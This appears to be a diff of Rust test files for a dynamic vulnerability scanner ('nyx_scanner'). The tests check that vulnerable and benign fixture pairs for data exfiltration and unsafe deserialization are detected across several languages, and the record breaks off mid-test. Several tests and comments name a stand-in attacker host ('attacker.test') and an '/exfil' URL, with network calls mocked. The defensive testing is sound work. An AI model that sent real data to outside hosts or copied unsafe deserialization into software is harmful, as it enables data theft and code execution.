use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::time::Duration;
const LANGS: &[Lang] = &[
Lang::Python,
Lang::Ruby,
Lang::Java,
Lang::Php,
Lang::JavaScript,
Lang::Go,
Lang::Rust,
];
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
fn outcome() -> SandboxOutcome {
SandboxOutcome {
exit_code: Some(0),
stdout: vec![],
stderr: vec![],
timed_out: false,
oob_callback_seen: false,
sink_hit: false,
duration: Duration::from_millis(1),
hardening_outcome: None,
}
}
fn outbound_probe(host: &str) -> SinkProbe {
SinkProbe {
sink_callee: "__nyx_mock_http".into(),
args: vec![],
captured_at_ns: 1,
payload_id: "data-exfil-test".into(),
kind: ProbeKind::OutboundNetwork { host: host.into() },
witness: ProbeWitness::empty(),
}
}
#[test]
fn corpus_registers_data_exfil_for_each_supported_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::DATA_EXFIL, *lang);
assert!(!slice.is_empty(), "DATA_EXFIL missing for {lang:?}");
assert!(slice.iter().any(|p| !p.is_benign));
assert!(slice.iter().any(|p| p.is_benign));
}
}
#[test]
fn data_exfil_payloads_pair_benign_per_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::DATA_EXFIL, *lang);
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln");
let resolved = resolve_benign_control_lang(vuln, Cap::DATA_EXFIL, *lang)
.expect("benign control resolves");
assert!(resolved.is_benign);
match &vuln.oracle {
Oracle::SinkProbe { predicates } => assert!(
predicates
.iter()
.any(|p| matches!(p, ProbePredicate::OutboundHostNotIn { .. }))
),
other => panic!("expected SinkProbe, got {other:?}"),
}
}
}
#[test]
fn outbound_predicate_fires_off_allowlist() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::OutboundHostNotIn {
allowlist: ALLOWLIST,
}],
};
assert!(oracle_fired(
&oracle,
&outcome(),
&[outbound_probe("attacker.test")]
));
assert!(!oracle_fired(
&oracle,
&outcome(),
&[outbound_probe("127.0.0.1")]
));
assert!(!oracle_fired(
&oracle,
&outcome(),
&[outbound_probe("Localhost")]
));
assert!(!oracle_fired(&oracle, &outcome(), &[]));
}
/// Drives the per-language DATA_EXFIL fixtures through `run_spec` and
/// asserts the vuln payload Confirms while the benign control does not.
/// Both fixtures share a single entry function (`run`) and the harness
/// monkey-patches `urllib.request.urlopen` so no real network egress
/// happens — the probe captures the parsed host before the request is
/// short-circuited.
mod e2e_data_exfil {
use crate::common::fixture_harness::FIXTURE_LOCK;
use nyx_scanner::dynamic::runner::{RunError, RunOutcome, run_spec};
use nyx_scanner::dynamic::sandbox::{SandboxBackend, SandboxOptions};
use nyx_scanner::dynamic::spec::{
EntryKind, HarnessSpec, PayloadSlot, SpecDerivationStrategy, default_toolchain_id,
};
use nyx_scanner::evidence::DifferentialVerdict;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::path::PathBuf;
use std::process::Command;
use tempfile::TempDir;
fn command_available(bin: &str) -> bool {
// Go's CLI uses `go version` (subcommand) instead of `go
// --version` and exits non-zero on `--version`. Every other
// toolchain here (python3, ruby, node, javac, php, cargo)
// accepts `--version`.
let arg = if bin == "go" { "version" } else { "--version" };
Command::new(bin)
.arg(arg)
.output()
.map(|o| o.status.success())
.unwrap_or(false)
}
fn build_spec(lang: Lang, fixture: &str, entry_name: &str) -> (HarnessSpec, TempDir) {
let fixture_src = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures/data_exfil")
.join(match lang {
Lang::Python => "python",
Lang::Ruby => "ruby",
Lang::JavaScript => "js",
Lang::Java => "java",
Lang::Php => "php",
Lang::Go => "go",
Lang::Rust => "rust",
_ => unreachable!(
"DATA_EXFIL e2e currently covers Python + Ruby + JavaScript + Java + Php + Go + Rust"
),
})
.join(fixture);
let tmp = TempDir::new().expect("create tempdir");
let dst = tmp.path().join(fixture);
std::fs::copy(&fixture_src, &dst).expect("copy fixture into tempdir");
let entry_file = dst.to_string_lossy().into_owned();
let mut digest = blake3::Hasher::new();
digest.update(b"e2e-data-exfil|");
digest.update(fixture.as_bytes());
let spec_hash = format!("{:016x}", {
let bytes = digest.finalize();
u64::from_le_bytes(bytes.as_bytes()[..8].try_into().unwrap())
});
let spec = HarnessSpec {
finding_id: spec_hash.clone(),
entry_file: entry_file.clone(),
entry_name: entry_name.to_owned(),
entry_kind: EntryKind::Function,
lang,
toolchain_id: default_toolchain_id(lang).into(),
payload_slot: PayloadSlot::Param(0),
expected_cap: Cap::DATA_EXFIL,
constraint_hints: vec![],
sink_file: entry_file,
sink_line: 1,
spec_hash: spec_hash.clone(),
derivation: SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
};
(spec, tmp)
}
fn run(lang: Lang, fixture: &str, entry_name: &str) -> Option<RunOutcome> {
let required = match lang {
Lang::Python => "python3",
Lang::Ruby => "ruby",
Lang::JavaScript => "node",
Lang::Java => "javac",
Lang::Php => "php",
Lang::Go => "go",
Lang::Rust => "cargo",
_ => unreachable!(
"DATA_EXFIL e2e currently covers Python + Ruby + JavaScript + Java + Php + Go + Rust"
),
};
if !command_available(required) {
eprintln!("SKIP {lang:?} {fixture}: missing toolchain {required}");
return None;
}
let _guard = FIXTURE_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let (spec, _tmp) = build_spec(lang, fixture, entry_name);
let opts = SandboxOptions {
backend: SandboxBackend::Process,
..SandboxOptions::default()
};
match run_spec(&spec, &opts) {
Ok(outcome) => Some(outcome),
Err(RunError::BuildFailed { stderr, attempts }) => {
eprintln!(
"SKIP {lang:?} {fixture}: harness build failed after {attempts} attempts: {stderr}",
);
None
}
Err(e) => panic!("run_spec({lang:?} {fixture}) errored: {e:?}"),
}
}
/// Pointed at the vuln fixture:
///
/// * `attacker.test` → fixture sends to `attacker.test` → probe captures
/// `host = "attacker.test"` → `OutboundHostNotIn` fires.
/// * `127.0.0.1` → fixture sends to loopback → probe captures
/// `host = "127.0.0.1"` → predicate clears (loopback in allowlist).
///
/// Differential lands at `Confirmed`.
#[test]
fn python_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Python, "vuln.py", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Python DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
/// Pointed at the benign fixture (which rejects non-allowlist hosts
/// before calling urlopen):
///
/// * `attacker.test` → fixture rejects → no urlopen → no probe.
/// * `127.0.0.1` → fixture sends to loopback → probe(host = "127.0.0.1")
/// → predicate clears.
///
/// Neither payload fires; differential lands at `NotConfirmed`.
#[test]
fn python_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Python, "benign.py", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"Python DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// Ruby pair, same shape as Python: the vuln fixture always calls
/// `Net::HTTP.get(uri)` and the harness's open-class shim records
/// the URI host; the benign fixture early-returns when the host
/// argument is not in `ALLOWLIST` so no `Net::HTTP.get` call is
/// made for the attacker payload. Skips when `ruby` is not on
/// PATH.
#[test]
fn ruby_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Ruby, "vuln.rb", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Ruby DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn ruby_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Ruby, "benign.rb", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"Ruby DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// JavaScript pair, same shape as Python + Ruby: the vuln fixture's
/// `http.request({ host, ... })` hits the harness's `http.request`
/// shim and the captured `host` flips `OutboundHostNotIn` for the
/// attacker payload. The benign fixture's `ALLOWLIST.has(host)`
/// guard short-circuits before the request call for non-loopback
/// hosts so no probe fires. Skips when `node` is not on PATH.
#[test]
fn javascript_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::JavaScript, "vuln.js", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"JavaScript DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn javascript_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::JavaScript, "benign.js", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"JavaScript DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// Java pair, same shape as Python + Ruby + JavaScript. The vuln
/// fixture calls `NyxMockHttp.get("http://" + host + "/exfil?...")`;
/// the harness-supplied `NyxMockHttp.captureHost` parses the URL
/// host into `CAPTURED_HOSTS`; the harness drains the list after
/// the entry returns and emits one `ProbeKind::OutboundNetwork` per
/// host. `OutboundHostNotIn` fires for the attacker payload. The
/// benign fixture's `ALLOWLIST.contains(host)` guard short-circuits
/// before reaching `NyxMockHttp.get` for non-loopback payloads, so
/// `CAPTURED_HOSTS` stays empty and no probe fires. Skips when
/// `javac` is not on PATH.
#[test]
fn java_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Java, "Vuln.java", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Java DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn java_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Java, "Benign.java", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"Java DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// PHP pair, same shape as Python + Ruby + JavaScript + Java. The
/// vuln fixture calls `@file_get_contents("http://" . $host . "/...")`;
/// the harness installs a stream-wrapper override for the `http`
/// scheme that parses the URL host via `parse_url(PHP_URL_HOST)`,
/// emits a `ProbeKind::OutboundNetwork`, and returns an empty
/// stream. `OutboundHostNotIn` fires for the attacker payload.
/// The benign fixture's `in_array($host, ALLOWLIST)` guard
/// short-circuits before `file_get_contents` for non-loopback
/// payloads, so no probe fires. Skips when `php` is not on PATH.
#[test]
fn php_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Php, "vuln.php", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"PHP DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn php_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Php, "benign.php", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"PHP DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// Go pair, same shape as Python + Ruby + JavaScript + Java + Php.
/// The vuln fixture calls `http.Get("http://" + host + "/exfil?...")`;
/// the harness replaces `http.DefaultTransport` with a custom
/// `RoundTripper` that captures `req.URL.Hostname()` before any
/// wire I/O, emits a `ProbeKind::OutboundNetwork`, and returns a
/// benign empty 200 response. `OutboundHostNotIn` fires for the
/// `attacker.test` payload. The benign fixture's
/// `if _, ok := allowlist[host]; !ok { return }` guard short-
/// circuits before `http.Get` for non-loopback payloads so no
/// probe fires. Skips when `go` is not on PATH.
#[test]
fn go_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Go, "vuln.go", "Run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Go DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn go_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Go, "benign.go", "Run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"Go DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// Rust pair, same shape as Python + Ruby + JavaScript + Java +
/// Php + Go. The vuln fixture's `reqwest::blocking::get(&url)`
/// has its `reqwest::` prefix rewritten to `crate::nyx_http::` at
/// staging time so the outbound call lands in the harness-shipped
/// `nyx_http::blocking::get` shim, which parses the URL host, emits
/// a `ProbeKind::OutboundNetwork`, and returns a benign empty
/// `Response`. `OutboundHostNotIn` fires for the `attacker.test`
/// payload. The benign fixture's `!ALLOWLIST.contains(&host)`
/// guard short-circuits before reaching the rewritten reqwest call
/// for non-loopback payloads so no probe fires. Skips when `cargo`
/// is not on PATH.
#[test]
fn rust_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Rust, "vuln.rs", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Rust DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn rust_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Rust, "benign.rs", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"Rust DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
}

15
tests/db_corruption_tests.rs
View file

@ -189,11 +189,10 @@ fn garbage_header_db_returns_structured_error() {
}
// NOTE: A mid-file corruption test (garbage at bytes 100..200, preserving
// SQLite magic) was attempted and is deliberately omitted. That shape
// triggers a slow corruption-detection path in SQLite where `Indexer::init`
// takes 150–200 seconds before returning, unsuitable for CI wall-clock
// budgets. The two tests above already cover the "corrupt-on-arrival"
// cases that users actually hit (crash-truncated file, deliberate clobber).
// A follow-up should either short-circuit `PRAGMA integrity_check` up
// front or wrap the init path in a timeout so mid-page corruption
// also fails fast.
// SQLite magic) is still omitted. `Indexer::init` short-circuits on
// header-magic mismatch (see `preflight_header`), so the corrupt-on-arrival
// shapes users actually hit return in microseconds. Mid-page damage that
// preserves the magic header still falls into SQLite's slow corruption
// detection path (150-200s), which is too long for CI wall-clock budgets;
// detecting that shape would require running `PRAGMA quick_check` with an
// interrupt callback, which is out of scope here.

531
tests/deserialize_corpus.rs Normal file
View file

@ -0,0 +1,531 @@
//! Phase 03 (Track J.1) — DESERIALIZE corpus acceptance.
//!
//! Asserts the new cap end-to-end: corpus slices register per-language
//! vuln/benign pairs, the lang-aware resolver pairs them inside the
//! correct slice, the per-language harness emitters splice in the
//! `RestrictedObjectInputStream` / `find_class` / allowed-classes
//! shims, and the framework adapters fire on the matching sink call.
//!
//! `cargo nextest run --features dynamic --test deserialize_corpus`.
#![cfg(feature = "dynamic")]
mod common;
use nyx_scanner::dynamic::corpus::{
Oracle, audit_marker_collisions, benign_payload_for_lang, payloads_for_lang,
resolve_benign_control_lang,
};
use nyx_scanner::dynamic::framework::registry::adapters_for;
use nyx_scanner::dynamic::lang;
use nyx_scanner::dynamic::oracle::ProbePredicate;
use nyx_scanner::dynamic::probe::ProbeKind;
use nyx_scanner::dynamic::spec::{EntryKind, HarnessSpec, PayloadSlot};
use nyx_scanner::labels::Cap;
use nyx_scanner::summary::FuncSummary;
use nyx_scanner::symbol::Lang;
const LANGS: &[Lang] = &[Lang::Java, Lang::Python, Lang::Php, Lang::Ruby];
fn make_spec(lang: Lang, entry_file: &str, entry_name: &str) -> HarnessSpec {
HarnessSpec {
finding_id: "phase03test0001".into(),
entry_file: entry_file.into(),
entry_name: entry_name.into(),
entry_kind: EntryKind::Function,
lang,
toolchain_id: "phase03".into(),
payload_slot: PayloadSlot::Param(0),
expected_cap: Cap::DESERIALIZE,
constraint_hints: vec![],
sink_file: entry_file.into(),
sink_line: 1,
spec_hash: "phase03test0001".into(),
derivation: nyx_scanner::dynamic::spec::SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
}
}
#[test]
fn corpus_registers_deserialize_for_every_supported_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::DESERIALIZE, *lang);
assert!(
!slice.is_empty(),
"DESERIALIZE has no payloads for {lang:?}",
);
let has_vuln = slice.iter().any(|p| !p.is_benign);
let has_benign = slice.iter().any(|p| p.is_benign);
assert!(has_vuln, "{lang:?} DESERIALIZE missing vuln payload");
assert!(has_benign, "{lang:?} DESERIALIZE missing benign control");
}
}
#[test]
fn deserialize_unsupported_caps_unchanged_for_other_langs() {
// Phase 03 only fills Java/Python/PHP/Ruby — Rust/C/Go/JS/TS stay empty.
for lang in [
Lang::Rust,
Lang::C,
Lang::Cpp,
Lang::Go,
Lang::JavaScript,
Lang::TypeScript,
] {
assert!(
payloads_for_lang(Cap::DESERIALIZE, lang).is_empty(),
"unexpected DESERIALIZE payloads registered for {lang:?}",
);
}
}
#[test]
fn benign_control_resolves_within_lang_slice() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::DESERIALIZE, *lang);
let vuln = slice.iter().find(|p| !p.is_benign).unwrap();
let resolved =
resolve_benign_control_lang(vuln, Cap::DESERIALIZE, *lang).expect("paired control");
assert!(resolved.is_benign);
// benign_payload_for_lang returns the same entry.
let direct = benign_payload_for_lang(Cap::DESERIALIZE, *lang).unwrap();
assert_eq!(direct.label, resolved.label);
}
}
#[test]
fn payload_oracle_carries_deserialize_predicate() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::DESERIALIZE, *lang);
let vuln = slice.iter().find(|p| !p.is_benign).unwrap();
match &vuln.oracle {
Oracle::SinkProbe { predicates } => {
assert!(
predicates.iter().any(|p| matches!(
p,
ProbePredicate::DeserializeGadgetInvoked {
require_invoked: true
}
)),
"{lang:?} vuln payload missing DeserializeGadgetInvoked predicate",
);
}
other => panic!("expected SinkProbe oracle for {lang:?}, got {other:?}"),
}
}
}
#[test]
fn marker_collisions_clean_with_phase_03_additions() {
assert!(audit_marker_collisions().is_empty());
}
#[test]
fn probe_kind_deserialize_serdes() {
let original = ProbeKind::Deserialize {
gadget_chain_invoked: true,
};
let json = serde_json::to_string(&original).unwrap();
assert!(json.contains("Deserialize"));
assert!(json.contains("gadget_chain_invoked"));
let parsed: ProbeKind = serde_json::from_str(&json).unwrap();
assert_eq!(parsed, original);
}
#[test]
fn lang_emitter_dispatches_to_deserialize_harness() {
// `sink_callee_marker` is the per-language deserialize sink call
// string the harness writes into the JSON probe record — the
// resolveClass / find_class / unserialize / Marshal.load boundary
// the brief calls out. Pinning the marker here keeps the test
// honest about which guard each lang's harness names.
for (lang, entry_file, entry_name, sink_callee_marker) in [
(
Lang::Java,
"tests/dynamic_fixtures/deserialize/java/Vuln.java",
"run",
"ObjectInputStream.resolveClass",
),
(
Lang::Python,
"tests/dynamic_fixtures/deserialize/python/vuln.py",
"run",
"pickle.Unpickler.find_class",
),
(
Lang::Php,
"tests/dynamic_fixtures/deserialize/php/vuln.php",
"run",
"unserialize",
),
(
Lang::Ruby,
"tests/dynamic_fixtures/deserialize/ruby/vuln.rb",
"run",
"Marshal.load",
),
] {
let spec = make_spec(lang, entry_file, entry_name);
let harness =
lang::emit(&spec).unwrap_or_else(|e| panic!("emit failed for {lang:?}: {e:?}"));
assert!(
harness.source.contains("NYX_GADGET_CLASS:"),
"{lang:?} deserialize harness must parse NYX_GADGET_CLASS marker",
);
assert!(
harness.source.contains(sink_callee_marker),
"{lang:?} deserialize harness must name {sink_callee_marker:?} as the \
resolveClass / find_class equivalent sink callee",
);
}
}
#[test]
fn deserialize_harness_drives_entry_when_derivable() {
// Java: reflectively load the fixture class and invoke the derived
// entry method so the fixture's own resolveClass allowlist runs before
// the gadget class resolves.
let java = lang::emit(&make_spec(
Lang::Java,
"tests/dynamic_fixtures/deserialize/java/Benign.java",
"run",
))
.expect("java deser emit");
assert!(
java.source.contains("Class.forName(\"Benign\")"),
"Java deser harness must reflectively load the fixture class",
);
assert!(
java.source.contains("getMethod(\"run\""),
"Java deser harness must invoke the derived entry method",
);
assert!(
java.source.contains("nyxCauseChainHas"),
"Java deser harness must detect gadget resolution via the cause chain",
);
// Ruby: require_relative the fixture and drive its entry so the
// const-name guard runs before Marshal.load.
let ruby = lang::emit(&make_spec(
Lang::Ruby,
"tests/dynamic_fixtures/deserialize/ruby/benign.rb",
"run",
))
.expect("ruby deser emit");
assert!(
ruby.source.contains("require_relative './benign'"),
"Ruby deser harness must require_relative the fixture",
);
assert!(
ruby.source.contains("__send__(:'run'"),
"Ruby deser harness must drive the derived entry function",
);
}
#[test]
fn deserialize_harness_falls_back_to_synthetic_without_entry() {
// No derivable enclosing entry → direct-sink synthetic path; the
// harness must not attempt to load a fixture it cannot name.
let java = lang::emit(&make_spec(
Lang::Java,
"tests/dynamic_fixtures/deserialize/java/Vuln.java",
"<unknown>",
))
.expect("java deser emit");
assert!(
!java.source.contains("Class.forName("),
"Java deser harness must not reflect into a fixture when no entry is derivable",
);
assert!(
java.source.contains("nyxSyntheticDeserialize"),
"Java synthetic fallback must drive the restricted-OIS path directly",
);
let ruby = lang::emit(&make_spec(
Lang::Ruby,
"tests/dynamic_fixtures/deserialize/ruby/vuln.rb",
"<unknown>",
))
.expect("ruby deser emit");
assert!(
!ruby.source.contains("require_relative"),
"Ruby deser harness must not require the fixture when no entry is derivable",
);
}
#[test]
fn framework_adapters_detect_deserialize_sink() {
// Java + Python + PHP + Ruby all register their J.1 sink adapter;
// detect_binding routes through the registry and stamps an
// EntryKind::Function binding when the fixture contains the
// canonical sink call.
for (lang, fixture) in [
(
Lang::Java,
"tests/dynamic_fixtures/deserialize/java/Vuln.java",
),
(
Lang::Python,
"tests/dynamic_fixtures/deserialize/python/vuln.py",
),
(Lang::Php, "tests/dynamic_fixtures/deserialize/php/vuln.php"),
(
Lang::Ruby,
"tests/dynamic_fixtures/deserialize/ruby/vuln.rb",
),
] {
let bytes = std::fs::read(fixture).expect("fixture exists");
let ts_lang = ts_language_for(lang);
let mut parser = tree_sitter::Parser::new();
parser.set_language(&ts_lang).unwrap();
let tree = parser.parse(&bytes, None).unwrap();
let summary = FuncSummary {
name: "run".into(),
file_path: fixture.to_owned(),
lang: slug(lang).into(),
..Default::default()
};
let registry_slice = adapters_for(lang);
assert!(!registry_slice.is_empty(), "{lang:?} adapter slice empty",);
let binding = nyx_scanner::dynamic::framework::detect_binding(
&summary,
tree.root_node(),
&bytes,
lang,
);
let b = binding
.unwrap_or_else(|| panic!("{lang:?} adapter must detect the deserialize sink fixture"));
assert_eq!(b.kind, EntryKind::Function);
assert!(!b.adapter.is_empty());
}
}
fn ts_language_for(lang: Lang) -> tree_sitter::Language {
match lang {
Lang::Java => tree_sitter::Language::from(tree_sitter_java::LANGUAGE),
Lang::Python => tree_sitter::Language::from(tree_sitter_python::LANGUAGE),
Lang::Php => tree_sitter::Language::from(tree_sitter_php::LANGUAGE_PHP),
Lang::Ruby => tree_sitter::Language::from(tree_sitter_ruby::LANGUAGE),
other => panic!("unsupported test lang {other:?}"),
}
}
fn slug(lang: Lang) -> &'static str {
match lang {
Lang::Java => "java",
Lang::Python => "python",
Lang::Php => "php",
Lang::Ruby => "ruby",
_ => "other",
}
}
// ── End-to-end Phase 03 acceptance via run_spec ───────────────────────────────
//
// Closes the second half of the Phase 03 deferred audit item: the
// `lang_emitter_dispatches_to_deserialize_harness` assertion now pins
// the per-lang `sink_callee_marker`, but no test exercises the brief's
// acceptance criterion that `nyx scan --verify` reports `Confirmed` on
// vuln/* fixtures and `NotConfirmed` (or non-Confirmed) on benign/*.
// These tests drive `run_spec` directly on a `Cap::DESERIALIZE` spec
// per language and assert `RunOutcome::triggered_by` matches the
// expected polarity.
//
// The harness emitter is synthetic (see deferred item: harness ignores
// `_spec` and pattern-matches `NYX_GADGET_CLASS:<class>` payload
// bytes) — so the toolchain still needs to compile and run the
// synthesised `NyxHarness.java` / `harness.py` / `harness.php` /
// `harness.rb`, but the fixture body is never invoked. A missing
// toolchain triggers a structured skip, not a panic.
mod e2e_phase_03 {
use crate::common::fixture_harness::FIXTURE_LOCK;
use nyx_scanner::dynamic::runner::{RunError, RunOutcome, run_spec};
use nyx_scanner::dynamic::sandbox::SandboxOptions;
use nyx_scanner::dynamic::spec::{
EntryKind, HarnessSpec, PayloadSlot, SpecDerivationStrategy, default_toolchain_id,
};
use nyx_scanner::evidence::DifferentialVerdict;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::path::PathBuf;
use std::process::Command;
use tempfile::TempDir;
fn command_available(bin: &str) -> bool {
Command::new(bin)
.arg("--version")
.output()
.map(|o| o.status.success())
.unwrap_or(false)
}
fn toolchain_for(lang: Lang) -> &'static str {
match lang {
Lang::Java => "java",
Lang::Python => "python3",
Lang::Php => "php",
Lang::Ruby => "ruby",
_ => unreachable!("e2e_phase_03 only covers Java/Python/PHP/Ruby"),
}
}
fn lang_subdir(lang: Lang) -> &'static str {
match lang {
Lang::Java => "java",
Lang::Python => "python",
Lang::Php => "php",
Lang::Ruby => "ruby",
_ => unreachable!(),
}
}
fn build_spec(lang: Lang, fixture: &str, entry_name: &str) -> (HarnessSpec, TempDir) {
let fixture_src = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures/deserialize")
.join(lang_subdir(lang))
.join(fixture);
let tmp = TempDir::new().expect("create tempdir");
let dst = tmp.path().join(fixture);
std::fs::copy(&fixture_src, &dst).expect("copy fixture into tempdir");
let entry_file = dst.to_string_lossy().into_owned();
let mut digest = blake3::Hasher::new();
digest.update(b"phase03-e2e-deserialize|");
digest.update(lang_subdir(lang).as_bytes());
digest.update(b"|");
digest.update(fixture.as_bytes());
let spec_hash = format!("{:016x}", {
let bytes = digest.finalize();
u64::from_le_bytes(bytes.as_bytes()[..8].try_into().unwrap())
});
// Wipe the per-spec workdir so stale .class / build artifacts
// from a previous run cannot leak in. Mirrors the Java guard
// in tests/common/fixture_harness.rs::run_shape_fixture_lang.
if matches!(lang, Lang::Java) {
let workdir = std::path::PathBuf::from("/tmp/nyx-harness").join(&spec_hash);
let _ = std::fs::remove_dir_all(&workdir);
}
let spec = HarnessSpec {
finding_id: spec_hash.clone(),
entry_file: entry_file.clone(),
entry_name: entry_name.to_owned(),
entry_kind: EntryKind::Function,
lang,
toolchain_id: default_toolchain_id(lang).into(),
payload_slot: PayloadSlot::Param(0),
expected_cap: Cap::DESERIALIZE,
constraint_hints: vec![],
sink_file: entry_file,
sink_line: 1,
spec_hash: spec_hash.clone(),
derivation: SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
};
(spec, tmp)
}
fn run(lang: Lang, fixture: &str, entry_name: &str) -> Option<RunOutcome> {
let bin = toolchain_for(lang);
if !command_available(bin) {
eprintln!("SKIP {lang:?} {fixture}: missing toolchain {bin}");
return None;
}
let _guard = FIXTURE_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let (spec, _tmp) = build_spec(lang, fixture, entry_name);
let opts = SandboxOptions {
backend: nyx_scanner::dynamic::sandbox::SandboxBackend::Process,
..SandboxOptions::default()
};
match run_spec(&spec, &opts) {
Ok(outcome) => Some(outcome),
Err(RunError::BuildFailed { stderr, attempts }) => {
eprintln!(
"SKIP {lang:?} {fixture}: harness build failed after {attempts} attempts: {stderr}",
);
None
}
Err(e) => panic!("run_spec({lang:?} {fixture}) errored: {e:?}"),
}
}
/// For every supported lang, the vuln fixture must Confirm: the
/// synthetic harness pattern-matches `NYX_GADGET_CLASS:<non-allowlisted>`
/// from the curated payload bytes, writes a probe, and the
/// differential rule pairs against the benign control (which carries
/// an allow-listed class name and writes no probe).
#[test]
fn java_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Java, "Vuln.java", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Java DESERIALIZE vuln must Confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("Confirmed run must carry a DifferentialOutcome");
assert_eq!(
diff.verdict,
DifferentialVerdict::Confirmed,
"differential verdict must be Confirmed: {diff:?}",
);
}
#[test]
fn python_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Python, "vuln.py", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Python DESERIALIZE vuln must Confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("Confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn php_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Php, "vuln.php", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"PHP DESERIALIZE vuln must Confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("Confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn ruby_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Ruby, "vuln.rb", "run") else {
return;
};
